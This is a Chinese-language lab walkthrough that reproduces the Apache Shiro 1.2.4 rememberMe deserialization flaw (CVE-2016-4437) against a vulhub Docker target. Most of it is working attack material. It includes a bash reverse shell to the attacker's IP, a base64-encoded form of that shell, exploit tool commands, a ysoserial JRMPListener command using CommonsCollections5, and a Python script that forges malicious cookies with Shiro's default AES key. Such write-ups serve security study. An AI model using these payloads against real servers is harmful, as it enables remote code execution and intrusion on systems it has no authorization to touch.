亲宝软件园·资讯

展开

复现Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)

impulse- 人气:0

靶机IP(Ubuntu):192.168.43.185

攻击IP(kali):192.168.43.37

 

一、docker环境搭建

打开vulhub靶机,目录定位到vulhub-master/shiro/CVE-2016-4437目录下

并使用docker-compose builddocker-compose up -d建立并启动docker

 

 

查看靶机内网地址:192.168.43.185

 

 

浏览器访问http://192.168.43.185:8080

 

二、使用Shiro_exploit进行漏洞利用

 

1.使用Shiro_exploit检测是否存在shiro漏洞

项目地址:https://github.com/insightglacier/Shiro_exploit

 

使用命令

python shiro_exploit.py -u http://192.168.43.185:8080

 

 

 

vulnerable:True表示存在shiro漏洞

 

 

 

2.使用Shiro_exploit进行反弹shell利用

kali监听2222端口

nc -lvp 2222

 

 

3.对反弹shell命令进行加密利用

 

命令加密可用网站http://www.jackson-t.ca/runtime-exec-payloads.html

 

bash -i >& /dev/tcp/192.168.43.37/2222 0>&1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQzLjM3LzIyMjIgMD4mMQ==}|{base64,-d}|{bash,-i}       //加密后

 

结合poc的-p参数进行漏洞利用

python shiro_exploit.py -t 3 -u http://192.168.43.185:8080 -p "bash加密命令"
python shiro_exploit.py -t 3 -u http://192.168.43.185:8080 -p "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQzLjM3LzIyMjIgMD4mMQ==}|{base64,-d}|{bash,-i}"

 

 

2222端口监听到反弹过来的shell

 

 

三、利用ysoserial复现漏洞

1.ysoserial工具

ysoserial 集合了各种java反序列化payload的反序列化工具

下载:https://github.com/frohoff/ysoserial

 

因为ysoserial是一个Java项目,它需要本地配置mvn环境(全称Maven,是基于项目对象模型的软件项目管理工具)依据Java项目的pom.xml文件自动化配置获取jar包,所以本地需要Java与mvn环境

 

 

使用mvn clean package -DskipTests命令打包项目

 

 

生成完工具之后放到kali攻击机上使用

 

验证目标是否搭建shiro,在前端登录界面抓登录包,用burp查看响应包是否存在rememberMe=deleteMe字段

 

 

 

2.使用ysoserial进行反弹shell利用

kali监听2222端口

同时另开终端执行反弹shell的Java监听命令(ysoserial.exploit.JRMPListener监听6666端口):

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections5 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQzLjM3LzIyMjIgMD4mMQ==}|{base64,-d}|{bash,-i}'

 

 

(注:bash加密命令前的CommonsCollections后面数字要写5,网上的payload都写CommonsCollections4,可能是Java环境问题,CommonsCollections4一直反弹不到shell,只在Java端口监听到会话,联想到前面使用Shiro_exploit的时候,会使用CommonsCollections1,2,3,4,5等各种方式进行测试,所以尝试更改了CommonsCollections就有效果了)

 

 

 

将以下生成cookie的poc代码命名为shiro.py放到target目录下

import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext
 
if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])   
print "rememberMe={0}".format(payload.decode())

以python2执行命令:

python shiro.py 攻击者IP:攻击者监听的java端口

 

 

 

在前端页面抓一个勾选remember me的数据包

将生成的cookie复制到数据包中

重放之后在Java监听端可看到会话

 

同时在2222端口可监听到反弹回来的shell

 

 

四、使用一键利用工具复现

 

一键利用工具

项目地址:

https://github.com/feihong-cs/ShiroExploit/releases/tag/v2.3

 

选择好对应的 shiro550,填入靶场地址,下一步

 

 

选择dnslog.cn进行检测(ceye.io会慢)

 

在下方对话框出现Find Valid Gadget的时候,就可以执行反弹shell了

 

 

 

 

加载全部内容

相关教程
猜你喜欢
用户评论